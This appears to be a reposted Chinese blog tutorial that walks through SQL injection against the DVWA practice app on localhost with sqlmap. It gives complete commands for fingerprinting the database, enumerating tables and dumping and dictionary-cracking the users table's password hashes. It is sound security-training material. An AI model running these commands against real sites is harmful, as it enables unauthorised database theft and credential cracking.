日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

DVWA——Sqlmap练习

發布時間:2024/9/30 编程问答 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 DVWA——Sqlmap练习 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

在DVWA頁面中選擇 SQL Injection


一、首先肯定是要判斷是否有注入漏洞,在輸入框輸入1,返回

ID: 1 First name: admin Surname: admin


返回正常;

再次輸入1',報錯,返回

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near " 1' " at line 1


此時可以斷定有SQL注入漏洞且為單引號閉合的字符型注入,下面利用SQLMap進行注入攻擊。

二、利用Sqlmap工具:

1、先進行基本的測試

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/index.php?id=1&Submit=Submit"

-u 參數表示url,指定連接目標

得到提示:


Sqlmap 得到302重定向到 " http://localhost:80/DVWA/login.php "。你想跟上嗎?[y/n]

根據該提示,可以判斷(302重定向)跳轉至登錄頁面,看來需要帶cookie,否則可能無法正常執行。

解釋:web應用需要登錄的時候需要加 cookie參數

不加則如下:


F12打開控制臺,在網絡里得到Cookie信息。

PHPSESSID "lqumo7do6sle0vl4gi7b9qqd57" security "low"


加上帶cookie參數再次測試:

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;sec urity=low"

得到:

the back-end DBMS is MySQL //后臺數據庫管理系統:MySQL web server operating system: Windows //Web服務武器操作系統:Windows web application technology: PHP 5.4.45, Apache 2.4.23 //Web應用技術: PHP 5.4.45, Apache 2.4.23 back-end DBMS: MySQL >= 5.0 //后臺數據庫:MySQL


發現sqlmap可以跑出數據來了,構造其他語句,繼續查取數據。

2、列出數據庫信息:

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;s ecurity=low" --dbs

--dbs 表示列出目標有哪些數據庫

得到8個mysql下數據庫名:

3、獲取當前的數據庫:

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;security=low" --current-db

--current-db得到當前使用的數據庫


得到:current database: 'dvwa'

即:當前數據庫名為:dvwa

4、獲取當前數據庫下的表:

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;security=low" --table -D "dvwa"

--table -D "xxx" :得到xxx數據庫下面的表

5、獲取數據庫dvwa下user表的字段:

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;security=low" --columns -T "users" -D "dvwa"

--columns -T "" -D "" 得到數據庫下面的表下面的列(columns)

得到:

6、獲取user表里的字段值:

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;security=low" --dump -T users -D dvwa

過程中會出現的部分提示信息:

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 您是否要將散列存儲到臨時文件中,以便最終使用其他工具進行進一步處理do you want to crack them via a dictionary-based attack? [Y/n/q] 您是否想通過基于字典的攻擊來破解它們?what dictionary do you want to use? 用什么字典來破解?[1] default dictionary file 'C:\WangAn\Sqlmap\txt\wordlist.zip' (press Enter) [2] custom dictionary file [3] file with list of dictionary files 回車會直接使用第一個do you want to use common password suffixes? (slow!) [y/N] 您是否要使用通用密碼后綴? (慢!)

最終得到:

至此,DVWA 的Low級別的SQL注入漏洞使用SqlMap工具注入完成。

總結

以上是生活随笔為你收集整理的DVWA——Sqlmap练习的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。